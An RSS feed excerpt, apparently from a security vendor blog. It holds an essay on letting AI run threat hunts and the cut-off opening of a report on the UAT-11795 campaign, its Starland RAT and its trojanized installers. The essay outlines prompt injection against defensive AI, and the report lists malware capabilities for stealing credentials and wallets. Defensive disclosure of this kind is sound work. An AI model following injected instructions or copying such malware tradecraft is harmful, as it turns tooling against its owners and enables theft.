b8be9a5e0a191050f9099c11c155b436863e9bc43bc904cdb842e249679aa35a.js&#xA0;<br>Detection Name: W32.B8BE9A5E0A-95.SBX.TG&#xA0;</p>]]></content:encoded></item><item><title><![CDATA[The Hunter's Paradox: Is it time to embrace automated threat hunting?]]></title><description><![CDATA[Humans can no longer keep up with the volume and velocity of security data on their own, but AI can't be fully trusted. David discusses the merits of both and muses on what the future might look like.]]></description><link>https://blog.talosintelligence.com/the-hunters-paradox-is-it-time-to-embrace-automated-threat-hunting/</link><guid isPermaLink="false">6a579ecd22de2d000108847b</guid><category><![CDATA[On The Radar]]></category><category><![CDATA[Threats]]></category><dc:creator><![CDATA[David J. Bianco]]></dc:creator><pubDate>Thu, 16 Jul 2026 10:00:07 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/on_the_radar.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/on_the_radar.jpg" alt="The Hunter&apos;s Paradox: Is it time to embrace automated threat hunting?"><p>Should we let AI run our threat hunts? The debate usually splits into two camps. One says, &quot;Yes, obviously! The sheer scale of our security telemetry is impossible for humans to deal with.&quot; The other says, &quot;Absolutely <em>not</em>!&#xA0; You can&apos;t trust an AI with something this important.&quot;&#xA0;&#xA0;</p><p>The thing is, I think both are wrong, or at least incomplete.&#xA0;&#xA0;</p><p>I&apos;ve spent a long time as one of the louder voices saying that hunting is specifically a human-driven process. I created the first widely recognized definition of threat hunting back in 2015, and the version I&apos;d have given you until very recently put a human firmly at the center of it.&#xA0;&#xA0;</p><p>But lately I&apos;ve been reconsidering the role of AI in threat hunting. So this post is, in part, me arguing with my past self.&#xA0;&#xA0;</p><p>We&apos;re facing what I call the Hunter&apos;s Paradox: Humans can no longer keep up with the volume and velocity of security data on their own, so we need to lean on automation. But the most capable automation available, AI, is exactly the kind we can&apos;t fully trust. Both are true at once, and that tension is what I&apos;ve been wrestling with for a while. We can&#x2019;t resolve it cleanly by picking either side, so let&apos;s take them in turn, starting with the human element.&#xA0;</p><h2 id="humans-have-a-numbers-problem">Humans have a numbers problem&#xA0;</h2><p>So why not just keep humans in the driver&apos;s seat and call it a day? Because that math stopped working a long time ago.&#xA0;</p><p>When I started in this field about 30 years ago, the conventional advice was that system administrators should read all their logs every day. It probably wasn&apos;t realistic even then, and it has been thoroughly impossible for most of my career. That&apos;s the volume problem, and it only ever compounds. There&apos;s more data than anyone can read, and there&apos;s more of it every year.&#xA0;</p><p>Then there&apos;s velocity. Automated attacks already move at close to machine speed, and even human-driven intrusions routinely outpace human defenders. AI on the offensive side is making that gap wider, not narrower.&#xA0;</p><p>And finally, there&apos;s capacity. This isn&apos;t the usual complaint about being under-resourced. That may still be true, but the problem is deeper than that. Volume and velocity together have pushed us to a place where it is simply not possible for humans to keep up no matter how many of us there are. If your team can still manage today, the trend line says it won&apos;t be able to for long. Even a perfectly staffed, perfectly funded team can&#x2019;t beat that math forever.&#xA0;</p><p>Put those three pressures together and opting out of AI isn&apos;t really an option. We can&apos;t hunt at scale without it, which lands us right back in the paradox: we need a tool we can&apos;t fully trust.&#xA0;</p><h2 id="ai-doesn%E2%80%99t-deal-well-with-lies">AI doesn&#x2019;t deal well with lies&#xA0;</h2><p>When most people think about AI and attackers, they think about prompt injection. An attacker slips instructions into something the AI will read, the AI dutifully follows them, and now your defensive tooling is working for the other team. It&apos;s real, it&apos;s a problem, and you should design with it in mind. It&apos;s also the less interesting part of the trust problem, so I&apos;m going to acknowledge it and move on.&#xA0;</p><p>The deeper issue is that attackers lie and cheat constantly, whether or not they think an AI might be watching. Deception isn&apos;t a tactic they reach for occasionally; it&apos;s the medium they operate in. Every phish, every exploit, every defense evaded is a lie that has to be believed in order to work. That has always been true, long before AI showed up.&#xA0;</p><p>Pervasive deception is <a href="https://blogs.cisco.com/ai/open-model-vulnerability-analysis" rel="noreferrer noopener"><u>a</u></a> <a href="https://arxiv.org/abs/2601.05478" rel="noreferrer noopener"><u>real</u></a> <a href="https://papers.ssrn.com/sol3/papers.cfm?abstract_id=6130766" rel="noreferrer noopener"><u>issue</u></a> for AI. It&#x2019;s baked into how we create LLMs: They have no concept that their training data might be deceiving them, and so when they come into the real world and deal with our dirty data, they tend to take it at face value. Not every time, maybe, but enough that their judgment is noticeably skewed even when we explicitly tell them to detect shenanigans.&#xA0; Even the most accurate telemetry isn&apos;t trustworthy if it&apos;s faithfully recording a lie, and AI tends to process what it&apos;s given and believe it.&#xA0;</p><h2 id="solving-the-paradox-starts-with-a-definition">Solving the paradox starts with a definition&#xA0;</h2><p>Now that we understand how deep of a hole we&#x2019;re in, we can start thinking about how we might get out of it. Let&#x2019;s start with the very definition of <em>threat hunting</em> itself.&#xA0;</p><p>Back in 2015, I was the architect behind the <a href="https://www.threathunting.net/sqrrl-archive" rel="noreferrer noopener"><u>Sqrrl threat hunting framework</u></a>. I defined hunting as &quot;any manual or machine-assisted process for identifying security incidents your automated detection systems missed.&quot; That same definition carried forward into our <a href="https://www.splunk.com/en_us/blog/security/peak-threat-hunting-framework.html" rel="noreferrer noopener"><u>PEAK framework</u></a> in 2023, of which I was the lead author. This has been the working definition for much of the field for a decade, though often in different words.&#xA0;</p><p>That phrase right at the front, &quot;manual or machine-assisted,&quot; is the entire reason I&#x2019;ve been thinking about this so hard. What that phrase actually meant was that humans drive the hunt. Machines can assist, through analytics or machine learning or whatever tooling you had, but a person was always the one doing the hunting.&#xA0;&#xA0;</p><p>And honestly, that was the right call at the time. But if I look back at what I was really trying to capture with that definition, the essential ingredient was never the human. It was <em>reasoning</em>. Humans were just the only place to get it in 2015.&#xA0;&#xA0;</p><p>But that&#x2019;s no longer the case. AI can reason now &#x2014; maybe not as well as a good human analyst, but it really can reason in a way that the tools of 2015 could not. So maybe the definition should change to match what I really meant. Threat hunting might be better described as &quot;any <em>reasoning-driven</em> process for identifying security incidents your automated detection systems missed.&quot;&#xA0;&#xA0;</p><p>Reframing hunting around reasoning rather than around who&apos;s doing it feels more accurate to the original intent, and it&apos;s a lot more useful for working through the paradox. If reasoning is the point, then the question isn&apos;t whether the hunter is human or machine. It&apos;s whether there&apos;s real reasoning involved.&#xA0;</p><h2 id="if-it%E2%80%99s-really-about-reasoning-what-does-that-mean">If it&#x2019;s really about reasoning, what does that mean?&#xA0;</h2><p>If we accept that AI can reason and hunting is a reasoning-driven process, then letting AI drive starts to seem&#x2026; well, reasonable.&#xA0;</p><p>The next big question, then, is what should that actually look like? Just saying, &quot;AI, go find the evil!&quot; is not a real plan. I wouldn&apos;t hand most human hunters that assignment either. Letting AI hunt responsibly takes careful planning, and more importantly it takes guardrails. At least three things matter.&#xA0;</p><p>The first is <strong>tight focus</strong>. Decide deliberately which hunts you&apos;re willing to let AI drive. The procedure should be reasonably clear, but the hunt should still contain some real ambiguity. It&#x2019;s the ambiguity that requires reasoning, and if there&#x2019;s no reasoning at all you don&apos;t have a hunt, you have a SIEM rule. A good place to start is the pile of hunts you&apos;ve run before but never quite managed to fully automate. Most teams have at least one of those sitting in a backlog.&#xA0;</p><p>The second is <strong>strict guidelines</strong>. An AI agent operating in your environment is a non-human principal with credentials, and it should be treated with at least as much care as a service account: scoped access, audit trails, the ability to revoke and rotate, and never more privilege than your most junior hunter would get. You also have to decide ahead of time which actions the AI can take on its own and which it cannot. Maybe you let it quarantine a user endpoint when it&apos;s confident something is wrong. Quarantining a production server? Probably not.&#xA0;</p><p>The third is <strong>graduated autonomy</strong>. Don&apos;t jump straight to full hunting independence. Let the AI act as an advisor first, then an assistant, then an operator on narrowly defined tasks, earning a little more trust at each step. Remember: Your threat actors don&#x2019;t have to care about collateral damage, but <em>you do</em>. We&#x2019;ve all heard the horror stories about AIs that deleted the production database. If your AI oversteps its boundaries, you&#x2019;re more likely to actually <em>cause</em> incidents than to detect them.&#xA0;</p><h2 id="what-stays-human">What stays human&#xA0;</h2><p>Even with all of that working well, there are still things that humans will be markedly better at for the foreseeable future, but they mostly trace back to one aspect: creativity.&#xA0;</p><p>One important creative area is your hunt strategy &#x2014; that is, deciding what&apos;s worth hunting for in the first place, what to prioritize, and in what order. That&apos;s running the hunt program, and it shouldn&apos;t be delegated to the AI. It can execute hunts, but it shouldn&apos;t be allowed to decide which hunts matter.&#xA0;</p><p>Another important creative area is analytic novelty. Attackers are creative, so we have to be creative too, both in what we choose to look for and in how we analyze our data. The biggest payoff in hunting comes from finding the thing nobody thought to look for, and an AI&apos;s training data by definition doesn&apos;t include the attacker behavior nobody has seen yet. Lean too hard on AI to generate your hunting procedures and you&apos;ll quietly converge on well-trodden ground, leaving the truly new stuff as your blind spot.&#xA0;&#xA0;</p><p>Put together, we almost have another guideline: Humans pick what&apos;s worth hunting and how. AI executes within those bounds.&#xA0;</p><h2 id="where-we-go-from-here">Where we go from here&#xA0;</h2><p>So, should we let AI start driving some hunts? Probably, yes, but that was never really the hard question. The hard question is <em>how</em>, and that&apos;s the part we have to work out together.&#xA0;</p><p>I don&apos;t have all the answers, and I&apos;m not pretending this is a finished playbook. What I&apos;m sure of is that reframing hunting around reasoning, applying narrow focus and strict guidelines and graduated autonomy, and keeping humans firmly in charge of strategy and novelty are good things to keep in mind as we figure it out. You hunters reading this are the ones who are actually going to shape what AI hunting becomes. It&#x2019;s going to be on all of us to experiment, to try things, and then to share what we&#x2019;ve built &#x2014; whether that&apos;s code on GitHub, a blog post, or a conference talk. The whole field gets better when we share what worked and what didn&apos;t. I&apos;m eagerly looking forward to seeing what we come up with.&#xA0;</p>]]></content:encoded></item><item><title><![CDATA[UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign]]></title><description><![CDATA[Cisco Talos is disclosing UAT-11795, a sophisticated, Russian-speaking, financially motivated adversary that has been conducting a malicious campaign targeting users in the U.S. and Europe since at least June 2025.  ]]></description><link>https://blog.talosintelligence.com/uat-11795-deploys-novel-starland-rat-and-bespoke-wldr-c2-implant-in-financially-motivated-campaign/</link><guid isPermaLink="false">6a511e0b501b2f00010617e7</guid><category><![CDATA[Threats]]></category><category><![CDATA[RAT]]></category><category><![CDATA[Cisco Talos Antivirus]]></category><category><![CDATA[Cisco Talos DNS Security]]></category><category><![CDATA[Cisco Talos Malware Protection]]></category><category><![CDATA[Cisco Talos Network Intrusion Prevention]]></category><dc:creator><![CDATA[Alex Karkins]]></dc:creator><pubDate>Thu, 16 Jul 2026 10:00:01 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/starlandrat.jpg" medium="image"/><content:encoded><![CDATA[<ul><li>Cisco Talos is disclosing UAT-11795, a sophisticated, Russian-speaking, financially motivated adversary that has been conducting a malicious campaign targeting users in the U.S. and Europe since at least&#xA0;June&#xA0;2025.&#xA0;&#xA0;</li><li>Talos has discovered that the actor in this campaign delivers a Python-based&#xA0;remote&#xA0;access&#xA0;tool (RAT) that we track as &#x201C;Starland RAT&#x201D;&#xA0;and a&#xA0;command-and-control (C2)&#xA0;memory implant known as the &#x201C;WLDR agent.&#x201D;&#xA0;</li><li>The WLDR agent is a sophisticated PowerShell-based C2 memory implant that features encrypted beaconing, task queuing, and a&#xA0;Runspace&#xA0;execution engine for executing&#xA0;additional&#xA0;payloads.&#xA0;&#xA0;</li><li>UAT-11795 also&#xA0;has&#xA0;CastleStealer&#xA0;and&#xA0;Remcos&#xA0;RAT as alternative payload implants in their arsenal.&#xA0;</li><li>The actor targets victims&apos; credentials and cryptocurrency wallet assets,&#xA0;establishing&#xA0;a persistent connection to the victims&apos; machines from the C2&#xA0;server, with the potential to deliver and execute further payloads.&#xA0;</li></ul><h2 id="victimology">Victimology&#xA0;</h2><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/starlandrat.jpg" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign"><p>According to the telemetry data, the infection is&#xA0;predominantly observed&#xA0;in the United States.&#xA0;There are also&#xA0;fewer potential impacts&#xA0;observed&#xA0;in Germany, Romania, and Venezuela,&#xA0;based on&#xA0;the&#xA0;assessment of the&#xA0;passive DNS resolution data of the C2 domains associated with this campaign.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Starland-RAT-03.jpg" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="2000" height="1268" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/Starland-RAT-03.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/Starland-RAT-03.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/Starland-RAT-03.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/Starland-RAT-03.jpg 2400w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 1.&#xA0;Victimology map of this campaign.</span></figcaption></figure><p>Talos has&#xA0;observed&#xA0;that the threat actor in this campaign has utilized&#xA0;trojanized&#xA0;installer lures from software categories including:&#xA0;</p>
<!--kg-card-begin: html-->
<table class="Table Ltr TableWordWrap SCXW164907214 BCX4" border="1" dir="ltr" data-tablestyle="MsoTableGrid" data-tablelook="1696" aria-rowcount="5" style="font-style: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-line: none; text-decoration-thickness: auto; text-decoration-style: solid; -webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; table-layout: fixed; width: 1px; border-collapse: collapse; empty-cells: show; position: relative; overflow: visible; caret-color: rgba(0, 0, 0, 0.847); color: rgba(0, 0, 0, 0.847); font-family: &quot;Segoe UI&quot;, &quot;Segoe UI Web&quot;, Arial, Verdana, sans-serif; font-size: 12px; background: none; border-spacing: 0px;"><tbody class="SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text;"><tr class="TableRow SCXW164907214 BCX4" role="row" aria-rowindex="1" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstRow FirstCol SCXW164907214 BCX4" role="rowheader" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 278px;"><div class="TableCellContent SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW164907214 BCX4" paraid="415952299" paraeid="{12d0fb38-38de-4e11-a7da-dc9dced0814c}{29}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Trojanized</span><span class="NormalTextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"><span class="Apple-converted-space">&#xA0;</span></span><span class="NormalTextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">i</span><span class="NormalTextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">nstaller&#xA0;</span></span><span class="EOP SCXW164907214 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="FirstRow SCXW164907214 BCX4" role="columnheader" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 138px;"><div class="TableCellContent SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW164907214 BCX4" paraid="772388752" paraeid="{12d0fb38-38de-4e11-a7da-dc9dced0814c}{32}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Software name</span></span><span class="EOP SCXW164907214 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="FirstRow LastCol SCXW164907214 BCX4" role="columnheader" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 208px;"><div class="TableCellContent SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW164907214 BCX4" paraid="1978402571" paraeid="{12d0fb38-38de-4e11-a7da-dc9dced0814c}{35}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Software category</span></span><span class="EOP SCXW164907214 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW164907214 BCX4" role="row" aria-rowindex="2" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW164907214 BCX4" role="rowheader" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 278px;"><div class="TableCellContent SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW164907214 BCX4" paraid="391961955" paraeid="{12d0fb38-38de-4e11-a7da-dc9dced0814c}{39}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">MobaXterm_v26.1.exe</span></span><span class="EOP SCXW164907214 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="0" class="SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 138px;"><div class="TableCellContent SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW164907214 BCX4" paraid="732060854" paraeid="{12d0fb38-38de-4e11-a7da-dc9dced0814c}{42}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">MobaXterm</span></span><span class="EOP SCXW164907214 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW164907214 BCX4" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 208px;"><div class="TableCellContent SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW164907214 BCX4" paraid="1243028410" paraeid="{12d0fb38-38de-4e11-a7da-dc9dced0814c}{45}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">SSH, remote desktop, and network administration terminal</span></span><span class="EOP SCXW164907214 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW164907214 BCX4" role="row" aria-rowindex="3" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW164907214 BCX4" role="rowheader" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 278px;"><div class="TableCellContent SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW164907214 BCX4" paraid="1918371728" paraeid="{12d0fb38-38de-4e11-a7da-dc9dced0814c}{49}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">WebEx_Client.exe and Zoom installer</span></span><span class="EOP SCXW164907214 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="0" class="SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 138px;"><div class="TableCellContent SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW164907214 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW164907214 BCX4" paraid="764574854" 